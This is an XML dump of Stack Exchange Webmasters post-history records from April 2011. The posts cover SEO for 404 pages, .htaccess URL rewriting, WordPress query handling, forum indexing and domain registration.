  <row Id="29316" PostHistoryTypeId="2" PostId="12811" RevisionGUID="d4f47354-cbad-4862-905a-f2accf251fab" CreationDate="2011-04-22T22:34:03.870" UserId="7036" Text="In a dynamically generated site (PHP, Python, pick your poison), 404 pages are normally handled dynamically to simply send a 404 header and display some error page on the URL that the user visited.&#xD;&#xA;&#xD;&#xA;I'm wondering if a site has a large number of 404 pages and they for example, contain a significant number of links to help a visitor get to a useful part of the site, might a search engine see this as a cloaking of doorway pages?  &#xD;&#xA;&#xD;&#xA;I can't image search engines would generally punish you for having lots of 404s, you can't help people linking badly to you site but I can imaging they would punish you for cramming the 404 page with links.&#xD;&#xA;&#xD;&#xA;As an extension of that.  Is there any benefit of redirecting users to a single URL to display the 404 page, something like http://www.domain.com/404?  How would this affect SEO?" />
  <row Id="29317" PostHistoryTypeId="1" PostId="12811" RevisionGUID="d4f47354-cbad-4862-905a-f2accf251fab" CreationDate="2011-04-22T22:34:03.870" UserId="7036" Text="SEO effect of redirecting to 404 page" />
  <row Id="29318" PostHistoryTypeId="3" PostId="12811" RevisionGUID="d4f47354-cbad-4862-905a-f2accf251fab" CreationDate="2011-04-22T22:34:03.870" UserId="7036" Text="&lt;seo&gt;&lt;404&gt;" />
  <row Id="29319" PostHistoryTypeId="2" PostId="12812" RevisionGUID="f4b9a7d6-4dcb-48a3-8506-cabf5cbc4060" CreationDate="2011-04-22T23:25:11.237" UserId="6776" Text="I've a good idea.&lt;br&gt; Suppose you create a web page you want to prevent copying. Link this page from nowhere in your site. But create some links from other sites which your competitor would not know so that the search engines would index them. &lt;br&gt;After some time after say Google has indexed the pag you can create internal links to the page in your site. So now if this page is found in competitor's site, search engines would know that it's copied content and would downgrade it with &quot;copy&quot; penalty." />
  <row Id="29320" PostHistoryTypeId="2" PostId="12813" RevisionGUID="4186927c-93f3-4c84-b1ae-92fa8644f791" CreationDate="2011-04-22T23:26:46.447" UserId="4813" Text="You have also changed the URL pattern from /node/id to /post/title. That could be a reason. If that is the case you do not have to worry, your search rankings will go back to normal in few days." />
  <row Id="29321" PostHistoryTypeId="2" PostId="12814" RevisionGUID="8024d144-20eb-4f0a-87af-ac53099aee97" CreationDate="2011-04-22T23:45:31.467" UserId="4461" Text="You can do what you like with you 404 pages, as Google only retrieves the HTTP header, [not the content][1].&#xD;&#xA;&#xD;&#xA;No PageRank is assigned to the 404 page, or any of the links contained on/in it.&#xD;&#xA;&#xD;&#xA;Redirecting to a 404 is merely adding an additional step in the chain (`request -&gt; 301/302 -&gt; 404`), so there's no value to be gained.&#xD;&#xA;&#xD;&#xA;Putting links on your 404 pages, especially ones to pages that are relevant is always a [good idea for your visitors][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.hr/support/forum/p/Webmasters/thread?tid=6467475147441bb7&amp;hl=en&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=93641" />
  <row Id="29322" PostHistoryTypeId="2" PostId="12815" RevisionGUID="6e4d8f58-ff55-4aef-8163-79e35c62bc74" CreationDate="2011-04-22T23:54:16.687" UserId="7038" Text="So I recently set up a Wordpress blog and I've noticed that when I make posts, the link is `http://www.domain.com/?p=2`. I was wondering how you could specify which file to use to parse such requests.&#xD;&#xA;&#xD;&#xA;For example, domain.com/?author=1 now returns a page with all posts made by that author, but how and where does it get configured to go here? I checked to see if it was .htaccess related but it appears not to be." />
  <row Id="29323" PostHistoryTypeId="1" PostId="12815" RevisionGUID="6e4d8f58-ff55-4aef-8163-79e35c62bc74" CreationDate="2011-04-22T23:54:16.687" UserId="7038" Text="Automatic handler" />
  <row Id="29324" PostHistoryTypeId="3" PostId="12815" RevisionGUID="6e4d8f58-ff55-4aef-8163-79e35c62bc74" CreationDate="2011-04-22T23:54:16.687" UserId="7038" Text="&lt;websites&gt;" />
  <row Id="29325" PostHistoryTypeId="25" PostId="12811" RevisionGUID="1d0cc23c-7527-4fc0-8923-7f17317ea75c" CreationDate="2011-04-23T00:09:17.897" Comment="http://twitter.com/#!/StackWebmasters/status/61582378832904192" />
  <row Id="29326" PostHistoryTypeId="2" PostId="12816" RevisionGUID="38d4f8bb-e828-4913-9ca6-829d4d45a52f" CreationDate="2011-04-23T01:11:39.283" UserId="6860" Text="SEO Book has a free tool that works as a Firefox extension.  Suits my needs perfectly.&#xD;&#xA;&#xD;&#xA;http://tools.seobook.com/firefox/rank-checker/" />
  <row Id="29327" PostHistoryTypeId="5" PostId="12787" RevisionGUID="c8175c5d-1854-46a7-b6bd-c3f701548a1a" CreationDate="2011-04-23T02:15:56.643" UserId="7027" Comment="Updated to better reflect what I need" Text="I've been asked to find out about SEO and getting links. We are apparently in a contract with a firm who have made changes to our site code, changes to the text on the site, and registered us with a list of directories.  I've had no involvement with this until now.&#xD;&#xA;&#xD;&#xA;They've told us to get links, and to add articles to our site.&#xD;&#xA;&#xD;&#xA;I believe my boss expected all this to be included and it wasn't so now it's on me to know enough to do this and not wreck our ranking.&#xD;&#xA;&#xD;&#xA;I've googled and think I know what to do with articles, which is simplistically just adding diverse content with each article focussing on a keyword, and create lots of them, right?  Some sites talk about percentage of keywords, does this really matter?&#xD;&#xA;&#xD;&#xA;How do I get links though?  If I start mailing sites asking for a link isn't that just going to be considered spam?  Do we buy them?  If so, where?&#xD;&#xA;&#xD;&#xA;As you can tell I'm completely new at this.  So many sites contradict each other, or promise impossible magic if you buy a product.  Is there a reasonable unbiased guide out there?  I have some tech IT background but am only a user as far as the web goes.&#xD;&#xA;&#xD;&#xA;Sorry for the very basic questions.  Thanks.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I was concentrating on the wrong question - I'd have been better knowing how best to proceed from here, hence the daft questions on how to build links etc.  Is there anything I need to watch out for when starting out with link building or writing articles?  ie damage our ranking?" />
  <row Id="29328" PostHistoryTypeId="4" PostId="12787" RevisionGUID="c8175c5d-1854-46a7-b6bd-c3f701548a1a" CreationDate="2011-04-23T02:15:56.643" UserId="7027" Comment="Updated to better reflect what I need" Text="SEO - Where to go from here (how to build links etc)?" />
  <row Id="29329" PostHistoryTypeId="2" PostId="12817" RevisionGUID="ddf17e92-7fe6-4ab8-a9ae-481f2d5b8b9f" CreationDate="2011-04-22T19:20:54.273" UserDisplayName="Jonas Stawski" Text="As far as Search Engine Optimization is concerned, what is the best way to handle different languages in a website?&#xD;&#xA;&#xD;&#xA;Should I use the URL to tell me which language is selected (i.e. http://mydomain.com/en-us/more/folders/and/subfolders/) if so, I trully don't care about the culture, so should I use &quot;en&quot; instead of &quot;en-us&quot;? Maybe use English?&#xD;&#xA;&#xD;&#xA;Should I handle this server side with a cookie and let the search engine figure it out?&#xD;&#xA;&#xD;&#xA;What other options should I consider?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29330" PostHistoryTypeId="1" PostId="12817" RevisionGUID="ddf17e92-7fe6-4ab8-a9ae-481f2d5b8b9f" CreationDate="2011-04-22T19:20:54.273" UserDisplayName="Jonas Stawski" Text="What's the best way to handle differnt languages for SEO?" />
  <row Id="29331" PostHistoryTypeId="3" PostId="12817" RevisionGUID="ddf17e92-7fe6-4ab8-a9ae-481f2d5b8b9f" CreationDate="2011-04-22T19:20:54.273" UserDisplayName="Jonas Stawski" Text="&lt;seo&gt;" />
  <row Id="29332" PostHistoryTypeId="17" PostId="12817" RevisionGUID="35a462ba-64c8-4127-9989-66b154858d4c" CreationDate="2011-04-23T02:52:23.943" UserId="-1" Comment="from http://stackoverflow.com/questions/5759152/whats-the-best-way-to-handle-differnt-languages-for-seo" Text="" />
  <row Id="29333" PostHistoryTypeId="25" PostId="12815" RevisionGUID="f153ed56-c22f-4665-a693-813078278fb3" CreationDate="2011-04-23T03:09:17.937" Comment="http://twitter.com/#!/StackWebmasters/status/61627677571940352" />
  <row Id="29334" PostHistoryTypeId="5" PostId="12817" RevisionGUID="e1da393b-b4c8-44ca-a542-e1eb6ddd771e" CreationDate="2011-04-23T04:05:45.500" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How can I get search engines to crawl my site and see a localised view of my data?](http://webmasters.stackexchange.com/questions/2726/how-can-i-get-search-engines-to-crawl-my-site-and-see-a-localised-view-of-my-data)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;As far as Search Engine Optimization is concerned, what is the best way to handle different languages in a website?&#xD;&#xA;&#xD;&#xA;Should I use the URL to tell me which language is selected (i.e. http://mydomain.com/en-us/more/folders/and/subfolders/) if so, I trully don't care about the culture, so should I use &quot;en&quot; instead of &quot;en-us&quot;? Maybe use English?&#xD;&#xA;&#xD;&#xA;Should I handle this server side with a cookie and let the search engine figure it out?&#xD;&#xA;&#xD;&#xA;What other options should I consider?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29335" PostHistoryTypeId="10" PostId="12817" RevisionGUID="2fa91762-dd4a-4e9d-8883-0688fb6c91e4" CreationDate="2011-04-23T04:05:45.173" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29336" PostHistoryTypeId="5" PostId="7649" RevisionGUID="80d3bee9-5491-45fc-b6a2-cb7055ec79b8" CreationDate="2011-04-23T04:06:42.943" UserId="1253" Comment="Removed greeting and signature" Text="Can anyone recommend an ad network for a Flex website other than OpenX and Mochi Ads.&#xD;&#xA;&#xD;&#xA;I desperately need to get some ads on my site. Any advice?&#xD;&#xA;" />
  <row Id="29337" PostHistoryTypeId="2" PostId="12818" RevisionGUID="f7d09389-71f0-4606-92fb-cd820179819e" CreationDate="2011-04-23T05:30:30.630" UserId="3656" Text="I have a social engine 3 website, in my website all URLS can be changed(URL-REWRITING) through the SE-url settings automatically, but in my website their is one module which is custom coded, where I have to set its URL manually in htaccess file,&#xD;&#xA;&#xD;&#xA;the url which I want to changes is this:&#xD;&#xA;&#xD;&#xA;    mysite.com/institutes_desc.php?id=19&#xD;&#xA;&#xD;&#xA;I want this URL to be changed like&#xD;&#xA;&#xD;&#xA;`mysite.com/institutes/intitute_name` or `mysite.com/institutes/intitute_id`&#xD;&#xA;&#xD;&#xA;My htaccess file is this&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    Options +Followsymlinks&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -d&#xD;&#xA;    RewriteRule ^.* - [L,QSA]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^.*/images/(.*)$ /images/$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^.*/uploads_user/(.*)$ /uploads_user/$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/?$ /profile.php?user=$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/([^/]+)?$ /profile.php?user=$1$2 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/documentgroups/([0-9]+)/([0-9]+)/([^/]+)/?$ /documentgroup.php?user=$1&amp;documentgroup_id=$2&amp;group_id=$3&amp;title=$4 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/documentgroups/([0-9]+)/([^/]+)?$ /documentgroup.php?user=$1&amp;documentgroup_id=$2$3 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/documents/([0-9]+)/([^/]+)/?$ /document.php?user=$1&amp;document_id=$2&amp;title=$3 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/documents/([0-9]+)/([^/]+)?$ /document.php?user=$1&amp;document_id=$2$3 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/documents/?$ /documents.php?user=$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/documents/?$ /documents.php?user=$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^documents/tag/([^/]+)/?$ /browse_documents.php?tag=$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^documents/category/([0-9]+)/?$ /browse_documents.php?i=$1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/blog/([0-9]+)/?$ /blog.php?user=$1&amp;blogentry_id=$2 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/blog/([^/]+)?$ /blog.php?user=$1$2 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/blog/?$ /blog.php?user=$1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/trackback/([0-9]+)/?$ /blog_ajax.php?task=trackback&amp;user=$1&amp;blogentry_id=$2 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/videos/([0-9]+)/?$ /video.php?user=$1&amp;video_id=$2 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*/)?group/([0-9]+)/([^/]*)$ /group.php?group_id=$1$2$3 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*/)?group/([0-9]+)/album/([0-9]+)/([^/]*)$ /group_album_file.php?group_id=$2&amp;groupmedia_id=$3$4 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*/)?group/([0-9]+)/discussion/([0-9]+)/([^/]*)$ /group_discussion_view.php?group_id=$2&amp;grouptopic_id=$3$4 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*/)?group/([0-9]+)/discussion/([0-9]+)/([0-9]+)/([^/]*)$ /group_discussion_view.php?group_id=$2&amp;grouptopic_id=$3&amp;grouppost_id=$4$5 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/articles/([^/]+)?$ /articles.php?user=$1$2 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/articles/?$ /articles.php?user=$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^article/([0-9]+)(/[^/]*)?$ /article.php?article_id=$1&amp;article_slug=$2 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/job/([0-9]+)/?$ /job.php?user=$1&amp;jobentry_id=$2 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/job/([^/]+)?$ /job.php?user=$1$2 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/job/?$ /job.php?user=$1 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/trackback/([0-9]+)/?$ /job_ajax.php?task=trackback&amp;user=$1&amp;jobentry_id=$2 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/classifieds/([0-9]+)/?$ /classified.php?user=$1&amp;classified_id=$2 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/classifieds/([0-9]+)/([^/]+)?$ /classified.php?user=$1&amp;classified_id=$2$3 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^([^/]+)/classifieds/?$ /classifieds.php?user=$1 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*/)?event/([0-9]+)/([^/]*)$ /event.php?event_id=$1$2$3 [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*/)?event/([0-9]+)/album/([0-9]+)/([^/]*)$ /event_album_file.php?event_id=$2&amp;eventmedia_id=$3$4 [L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^application/([0-9]+)/?$ /app.php?id=$1 [L]&#xD;&#xA;&#xD;&#xA;Can anyone help me in this? how can I set my url this way?" />
  <row Id="29338" PostHistoryTypeId="1" PostId="12818" RevisionGUID="f7d09389-71f0-4606-92fb-cd820179819e" CreationDate="2011-04-23T05:30:30.630" UserId="3656" Text="Help with URL and HTACCESS" />
  <row Id="29339" PostHistoryTypeId="3" PostId="12818" RevisionGUID="f7d09389-71f0-4606-92fb-cd820179819e" CreationDate="2011-04-23T05:30:30.630" UserId="3656" Text="&lt;htaccess&gt;&lt;url-rewriting&gt;" />
  <row Id="29340" PostHistoryTypeId="25" PostId="12818" RevisionGUID="a3b8ff9a-6f42-4dc3-a983-89f1f4bae974" CreationDate="2011-04-23T06:09:17.573" Comment="http://twitter.com/#!/StackWebmasters/status/61672975405039616" />
  <row Id="29341" PostHistoryTypeId="2" PostId="12819" RevisionGUID="7dc75c1e-359b-454d-b704-b586fafc7b77" CreationDate="2011-04-23T06:27:08.627" UserId="6789" Text="everything going to / will cause apache to load up `index.php`&#xD;&#xA;so if you delete or rename `index.php` in the root, nothing will work&#xD;&#xA;&#xD;&#xA;The question mark denotes the start of a query string, this will be passed to that file (`index.php`)&#xD;&#xA;And from there wordpress will do its magic&#xD;&#xA;&#xD;&#xA;`.htaccess` will turn those 'ugly' urls into pretty ones such as `/page/2` or `/authors/1`" />
  <row Id="29342" PostHistoryTypeId="2" PostId="12820" RevisionGUID="509ced02-de34-4e70-9030-9fb06e56bddb" CreationDate="2011-04-23T08:13:21.533" UserId="7046" Text="Which are names of existing leading malware filters which are most capable of deceting exploids in javascripts and other web scripts?&#xD;&#xA;&#xD;&#xA;i need one to run it over a few TBs of userwebs... thanks!" />
  <row Id="29343" PostHistoryTypeId="1" PostId="12820" RevisionGUID="509ced02-de34-4e70-9030-9fb06e56bddb" CreationDate="2011-04-23T08:13:21.533" UserId="7046" Text="Which are names of existing leading malware filters which are most capable of deceting exploids in javascripts and other web scripts?" />
  <row Id="29344" PostHistoryTypeId="3" PostId="12820" RevisionGUID="509ced02-de34-4e70-9030-9fb06e56bddb" CreationDate="2011-04-23T08:13:21.533" UserId="7046" Text="&lt;javascript&gt;&lt;security&gt;&lt;web-security&gt;&lt;malware&gt;&lt;virus&gt;" />
  <row Id="29345" PostHistoryTypeId="2" PostId="12821" RevisionGUID="ab663260-2b7f-4b5b-82ee-f9fe07c0d2d6" CreationDate="2011-04-23T08:19:47.090" UserId="5013" Text="I do not believe that Blogger has an import option like other platforms do.&#xD;&#xA;&#xD;&#xA;If you are looking to get off of Tumblr and if the ability to import matters quite a bit, then I would recommend something other than Blogger such as Wordpress. Importing blog posts into Wordpress is easy as pie." />
  <row Id="29346" PostHistoryTypeId="2" PostId="12822" RevisionGUID="cc1bcccc-cfed-4125-a1b0-90a3101d9830" CreationDate="2011-04-23T08:22:26.380" UserId="6198" Text="you can use wordpress with the P2 theme by Automattic(the company who made wordpress). That will allow you and your family to contribute on the blog. Its a theme inspired by twitter. Also you can setup an htpasswd file for restricting anyone to even see the blog.&#xD;&#xA;&#xD;&#xA;Also for your purpose, if you want to interact with your family it would be better if you use Google Wave. Its an awesome tool for collaboration, even though its stopped in development." />
  <row Id="29347" PostHistoryTypeId="2" PostId="12823" RevisionGUID="85082b77-6ea9-41d5-b79c-6454827dff80" CreationDate="2011-04-23T09:01:29.333" UserId="4625" Text="I have [this][1] web site that as you can see on the top right has is a &quot;Forums&quot; button that links to my forums. &#xD;&#xA;&#xD;&#xA;My problem is that if, for instance, I make a Google search &quot;site:heliumscraper.com answers&quot; I don't get any result, even though the word &quot;answers&quot; is in the forum's board index and it has been there for a few months already.&#xD;&#xA;&#xD;&#xA;I don't have a robots file. I also uploaded a sitemap to Google that contained the forum. I'm thinking the problem might be the fact that the only link from my main page to the forum opens in a new window. Could this be the problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.heliumscraper.com" />
  <row Id="29348" PostHistoryTypeId="1" PostId="12823" RevisionGUID="85082b77-6ea9-41d5-b79c-6454827dff80" CreationDate="2011-04-23T09:01:29.333" UserId="4625" Text="Why is Google not indexing my forum?" />
  <row Id="29349" PostHistoryTypeId="3" PostId="12823" RevisionGUID="85082b77-6ea9-41d5-b79c-6454827dff80" CreationDate="2011-04-23T09:01:29.333" UserId="4625" Text="&lt;google&gt;&lt;indexing&gt;&lt;google-index&gt;" />
  <row Id="29350" PostHistoryTypeId="25" PostId="12823" RevisionGUID="5c474f31-b15f-41dd-83ea-c57d11065844" CreationDate="2011-04-23T09:09:17.590" Comment="http://twitter.com/#!/StackWebmasters/status/61718273024212992" />
  <row Id="29351" PostHistoryTypeId="2" PostId="12824" RevisionGUID="7fbde0f8-534e-45dd-9b59-69ae9cfa6931" CreationDate="2011-04-23T09:57:26.967" UserId="7047" Text="Actually, I see that Google does index your forum page. Try searching &quot;site:heliumscraper.com online&quot;&#xD;&#xA;&#xD;&#xA;However, when you look at what [Google actually cached][1], you do not see any forum listings. That's why the query &quot;site:heliumscraper.com answers&quot; didn't turn up anything. &#xD;&#xA;&#xD;&#xA;Since I do not use phpBB, I can't help you with an exact solution. However, it looks like this seems to be an issue in the phpBB system. Searching for &quot;phpbb google index&quot; turns up some other forum questions, where people are also complaining that phpBB is not indexed. (Sorry to be not much of a help)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webcache.googleusercontent.com/search?q=cache:EBAEsz1U8iEJ:heliumscraper.com/forum/%20site:heliumscraper.com%20online" />
  <row Id="29352" PostHistoryTypeId="25" PostId="12820" RevisionGUID="77448c34-b87d-4122-a6a5-cbf3b84ccb6c" CreationDate="2011-04-23T12:09:17.427" Comment="http://twitter.com/#!/StackWebmasters/status/61763571297689600" />
  <row Id="29353" PostHistoryTypeId="2" PostId="12825" RevisionGUID="6a17986c-6923-4fa1-ac42-7c4fd9d0ddf7" CreationDate="2011-04-23T13:28:52.573" UserId="6630" Text="I want to add a navigation bar into my web site like in superuser.com&#xD;&#xA;How can I add it?" />
  <row Id="29354" PostHistoryTypeId="1" PostId="12825" RevisionGUID="6a17986c-6923-4fa1-ac42-7c4fd9d0ddf7" CreationDate="2011-04-23T13:28:52.573" UserId="6630" Text="How can I create a navigation bar similar to superuser.com navigation bar?" />
  <row Id="29355" PostHistoryTypeId="3" PostId="12825" RevisionGUID="6a17986c-6923-4fa1-ac42-7c4fd9d0ddf7" CreationDate="2011-04-23T13:28:52.573" UserId="6630" Text="&lt;navigation&gt;" />
  <row Id="29356" PostHistoryTypeId="2" PostId="12826" RevisionGUID="dbc03615-0547-4355-88f1-bca6af4862cf" CreationDate="2011-04-23T13:32:26.737" UserId="6630" Text="I've installed Vanilla Script for my site : http://www.herkesuzman.com" />
  <row Id="29359" PostHistoryTypeId="10" PostId="12825" RevisionGUID="9fc38b1a-f3a1-4fff-8184-0cb61d307d3a" CreationDate="2011-04-23T14:47:41.803" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29360" PostHistoryTypeId="25" PostId="12800" RevisionGUID="b2cbb22c-84de-4428-8ef1-d4bdf77cd972" CreationDate="2011-04-23T15:09:17.733" Comment="http://twitter.com/#!/StackWebmasters/status/61808871437635586" />
  <row Id="29361" PostHistoryTypeId="2" PostId="12828" RevisionGUID="61d968df-1f9e-4f59-889a-2155975de19e" CreationDate="2011-04-23T16:43:28.357" UserId="6624" Text="I'll assume that institute IDs have to be integers - no letters or decimal points or anything.&#xD;&#xA;&#xD;&#xA;    # Turn on URL re-writing&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    # Clean URLs for writers conference movies.&#xD;&#xA;    RewriteRule ^institutes/([0-9]+)/?$   /institutes_desc.php?id=$1    [NC,L]&#xD;&#xA;&#xD;&#xA;For further information, I refer you to Dave Childs' &lt;a href=&quot;http://www.addedbytes.com/for-beginners/url-rewriting-for-beginners/&quot;&gt;thorough introduction to URL rewriting&lt;/a&gt;." />
  <row Id="29362" PostHistoryTypeId="2" PostId="12829" RevisionGUID="57614960-b6cf-47c1-a43d-d624823ff6a6" CreationDate="2011-04-22T19:51:14.413" UserDisplayName="user686512" Text="I am having difficulties in installing the following:&#xD;&#xA;http://tt-rss.org/redmine/&#xD;&#xA;&#xD;&#xA;I keep constantly getting this error after my installation (Which obviously,  isn't correct).&#xD;&#xA;Fatal Error: config: please read config.php completely.&#xD;&#xA;&#xD;&#xA;I would much appreciate it if someone would install this for me!&#xD;&#xA;I will happily give FTP details :)&#xD;&#xA;&#xD;&#xA;Please, I really need this.&#xD;&#xA;Thanks." />
  <row Id="29363" PostHistoryTypeId="1" PostId="12829" RevisionGUID="57614960-b6cf-47c1-a43d-d624823ff6a6" CreationDate="2011-04-22T19:51:14.413" UserDisplayName="user686512" Text="Tiny Tiny RSS Installation" />
  <row Id="29364" PostHistoryTypeId="3" PostId="12829" RevisionGUID="57614960-b6cf-47c1-a43d-d624823ff6a6" CreationDate="2011-04-22T19:51:14.413" UserDisplayName="user686512" Text="&lt;rss&gt;" />
  <row Id="29365" PostHistoryTypeId="17" PostId="12829" RevisionGUID="7eb51b42-7077-4deb-8c5d-8f651fdb026f" CreationDate="2011-04-23T17:03:03.253" UserId="-1" Comment="from http://stackoverflow.com/questions/5759427/tiny-tiny-rss-installation" Text="" />
  <row Id="29366" PostHistoryTypeId="2" PostId="12830" RevisionGUID="d2940dce-2afe-4dfb-a8dd-b31476815fb9" CreationDate="2011-04-23T10:30:10.490" UserDisplayName="lital maatuk" Text="I am installing a script I bought on cpanel at the root directory.&#xD;&#xA;When I try to install it, it gives me an error.&#xD;&#xA;I tried to debug it and I found that it redirects to a address with an infintie loop containing the name of my website.&#xD;&#xA; &#xD;&#xA;something like:&#xD;&#xA;`install//mywebsite.com/install=mywebsite.com/install=mywebsite.com/install=mywebsite.com`  etc. &#xD;&#xA;till it stops and writes that the url is too long.&#xD;&#xA;&#xD;&#xA;the vendor told me i need to have mod_rewrite installed on my cpanel and something about htaccess.&#xD;&#xA;&#xD;&#xA;How do I do it?  What should I do?" />
  <row Id="29367" PostHistoryTypeId="1" PostId="12830" RevisionGUID="d2940dce-2afe-4dfb-a8dd-b31476815fb9" CreationDate="2011-04-23T10:30:10.490" UserDisplayName="lital maatuk" Text="Infinte name for my website address" />
  <row Id="29368" PostHistoryTypeId="3" PostId="12830" RevisionGUID="d2940dce-2afe-4dfb-a8dd-b31476815fb9" CreationDate="2011-04-23T10:30:10.490" UserDisplayName="lital maatuk" Text="&lt;php&gt;&lt;web-development&gt;" />
  <row Id="29369" PostHistoryTypeId="17" PostId="12830" RevisionGUID="9a3c02ad-82de-48ec-810c-c4248ee07f1c" CreationDate="2011-04-23T17:03:44.190" UserId="-1" Comment="from http://stackoverflow.com/questions/5763677/infinte-name-for-my-website-address" Text="" />
  <row Id="29370" PostHistoryTypeId="17" PostId="12832" RevisionGUID="ad68d520-a09d-4b90-841d-9825ff9a7335" CreationDate="2011-04-23T17:05:16.420" UserId="-1" Comment="from http://stackoverflow.com/questions/5765380/how-does-amazon-com-renew-or-buy-its-domain-names/5765513#5765513" Text="" />
  <row Id="29371" PostHistoryTypeId="2" PostId="12832" RevisionGUID="074f3f77-1113-449f-b1a3-90d48f13d0a1" CreationDate="2011-04-23T16:44:33.567" UserDisplayName="mark4o" Text="Amazon.com started out in a garage in the Seattle area in 1995.  At the time, Network Solutions was the only registrar for &quot;.com&quot; domains so they had to register with them.  Network Solutions is still their registrar today so they have never had to switch.  Their domain registrar can be verified in the [whois database](http://www.networksolutions.com/whois-search/amazon.com).&#xD;&#xA;&#xD;&#xA;Many of Amazon's other domains are registered through [MarkMonitor](https://www.markmonitor.com), which is a registrar specializing in brand protection, especially for large corporations." />
  <row Id="29372" PostHistoryTypeId="2" PostId="12831" RevisionGUID="0e8a70fc-28a8-4efa-b559-ad81fcf5ce46" CreationDate="2011-04-23T16:22:29.200" UserDisplayName="Bob Cavezza" Text="It's hard to believe that Amazon goes to a site like Godaddy.com to buy or renew domain names.  Do they use registrars?  If not, how do they buy &amp; renew domains? " />
  <row Id="29373" PostHistoryTypeId="1" PostId="12831" RevisionGUID="0e8a70fc-28a8-4efa-b559-ad81fcf5ce46" CreationDate="2011-04-23T16:22:29.200" UserDisplayName="Bob Cavezza" Text="How does Amazon.com renew or buy its domain names?" />
